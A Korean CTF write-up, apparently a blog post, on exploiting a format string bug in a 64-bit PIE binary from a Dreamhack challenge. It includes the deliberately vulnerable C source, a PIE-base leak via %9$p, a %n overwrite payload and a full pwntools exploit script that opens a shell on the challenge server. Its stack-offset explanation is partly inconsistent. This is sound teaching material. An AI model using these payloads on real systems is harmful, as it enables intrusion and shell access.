64bit 환경의 바이너리에서 FSB 취약점을 이용하여 특정 주소에 원하는 값을 입력하는 방법

 

 

 

문제 분석

 

 

 

 1) Environment

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

 

  • 64bit 환경 바이너리
  • GOT 영역의 수정이 불가한 Full RELRO 보호기법
  • 코드 섹션 외 모든 영역의 실행 권한이 제거된 NX 보호기법
  • 코드 영역이 실행 시마다 임의의 주소에 할당되는 PIE 보호기법

 

 

 

 

 2) Source Code

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

 

 

 

해당 소스 코드는 무한으로 사용자의 입력값을 받고 출력하며, 변수 changeme의 값이 정수 1337일 경우 셸을 실행한다. 

 

 

 

또한 main() 함수 내에 있는 printf() 함수에서 FSB(Format String Buf) 취약점이 발생하므로, 이것을 통해 변수 changeme의 값을 1337로 Overwrite 하여 셸을 획득할 수 있다.

 

 

 

 

 

 


문제 풀이

 

 

 

1. Base 주소 및 변수 changeme의 주소 구하기

 

 

 

PIE 보호 기법으로 인해 바이너리 실행마다 코드 영역의 주소가 바뀌기 때문에 우선적으로 코드 영역의 베이스 주소를 구할 수 있어야 한다.

 

 

 

우선 pwndbg를 통해 ./fsb_overwrite 바이너리를 실행한 후, 임의의 입력값 넣고 스택의 구조를 확인한다.

 

_start() 함수의 주소가 존재하는 스택의 구조

 

 

 

스택의 세 번째 위치인 rsp+24 즉, 9번째 인자에 _start() 함수의 주소값이 존재하는 것을 확인할 수 있다.

_start()의 절대 주소 : 0x555555400730

 

 

 

_start() 함수는 바이너리가 시작될 때 호출되는 함수로, 바이너리에 내장된 함수이다. 따라서 해당 함수의 주소값을 이용하면 코드 영역의 베이스 주소 및 changeme 변수의 주소를 구할 수 있다.

 

 

 

_start() 함수 및 changeme 변수의 상대 주소는 파이썬 모듈 pwntools를 통해 확인할 수 있다.

· _start()의 상대 주소 : 0x730
· changeme의 상대 주소 : 0x20101c

 

pwntools를 통해 확인한 ./fsb_overwrite의 함수 및 변수의 상대 주소

 

 

 

_start() 함수의 절대 주소값에서 상대 주소값을 빼면 코드 영역의 베이스 주소를 획득할 수 있다.

base 주소 : 0x555555400000

 

 

 

실제로 pwndbg를 통해 코드 영역의 베이스 주소값을 다음과 같이 확인할 수 있는데, 앞에서 구한 값과 동일한 것을 확인할 수 있다.

 

pwndbg를 통해 확인한 바이너리의 베이스 주소

 

 

 

이후 베이스 주소값에 changeme 변수의 상대 주소값을 더해주면 해당 변수의 절대 위치를 구할 수 있다.

changeme의 절대 주소 : 0x55555560101c

 

 

 

 

 

2. 변수 changeme에 값 덮어쓰기

 

 

 

64bit 환경에서 포맷 스트링 함수의 인자 호출 시, 레지스터 rdi, rsi, rdx, rcx, r8, r9 값을 차례대로 가져오며 이후의 인자값은 스택을 통해 8byte 단위로 가져온다.

 

 

 

그렇기 때문에 64bit 환경에서 원하는 주소에 값을 쓰기 위해서,

레지스터에 위치하는 1~6번째 인자 이후인 스택에 위치하는 인자들을 가져와야 한다.

 

 

 

소스 코드에서 read() 함수는 한번에 32byte만큼의 값을 입력받는다. 32byte의 값을 입력했을 때 스택 구조는 다음과 같다.

Input : AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

 

0x20 크기만큼의 입력값을 주었을 때 스택 구조

 

 

 

8byte 씩 네 개의 스택에 걸쳐 쌓이게 되며 네 번째 스택의 값인 rsp+32 위치의 스택에 8byte 크기의 입력값이 들어간 것을 확인할 수 있다. 따라서 해당 위치에 changeme의 주소값 8byte를 넣으면 인자값으로 주소값 8byte를 가져올 수 있다.

 

 

 

rsp+8 위치부터 각각 포맷 스트링 함수의 7번째, 8번째, 9번째 인자가 되므로, 변수 changeme의 주소값이 들어가는 rsp+32 위치의 스택은 포맷 스트링 함수의 9번째 인자가 된다.

 

 

 

따라서 아래와 같은 입력값을 통해 changeme 변수의 주소에 원하는 값인 정수 1337을 덮어쓸 수 있다.

 

 

 

 

 

 


익스플로잇

 

 

 

  • 첫 번째 입력값을 통해 _start() 함수의 주소값을 획득할 수 있으므로, 이를 이용해 코드 영역의 베이스 주소를 계산
  • [changeme 변수의 절대 주소] = [바이너리의 베이스 주소] + [changeme 변수의 상대 위치] 를 계산
#_start() 함수의 주소값 획득
payload = b"AAAAAAAA%9$p"
p.send(payload)
p.recvuntil("AAAAAAAA")
start = int(p.recvn(14), 16)


#Base 주소 및 changeme 변수의 주소 계산
base_addr = start - e.symbols["_start"]
changeme = base_addr + e.symbols["changeme"]

 

익스플로잇을 통해 확인한 베이스 주소 및 변수 주소

 

 

 

 

  • 두 번째 입력값을 통해 변수 changeme의 값을 정수 1337로 조작하여 셸 획득
#changeme 변수의 주소에 값 덮어쓰기
payload = b"%1337c%9$n              " #size:0x18
payload += p64(changeme)              #size:0x8
p.send(payload)

 

익스플로잇을 통해 셸을 획득한 결과 화면

 

 

 

 

최종적으로 python3과 pwntools 모듈을 이용한 익스플로잇 코드는 다음과 같다.

from pwn import *


def slog(name, addr):
	return success(": ".join([name, hex(addr)]))


p = remote("host3.dreamhack.games", 20148)
e = ELF("./fsb_overwrite")


#1._start() 함수의 주소값 획득
payload = b"AAAAAAAA%9$p"
p.send(payload)
p.recvuntil("AAAAAAAA")
start = int(p.recvn(14), 16)


#2.Base 주소 및 changeme 변수의 주소 계산
base_addr = start - e.symbols["_start"]
changeme = base_addr + e.symbols["changeme"]

slog("_start", start)
slog("base_addr", base_addr)
slog("changeme", changeme)


#3.changeme 변수의 주소에 값 덮어쓰기
payload = b"%1337c%9$n              " #size:0x18
payload += p64(changeme)              #size:0x8
p.send(payload)


p.interactive()

 

 

 

 

 

 


참고) 포맷 스트링 버그(Format String Bug, FSB) 개념 및 원리

포맷 스트링 버그(Format String Bug, FSB) 취약점

 

 

 

 

 

+ Recent posts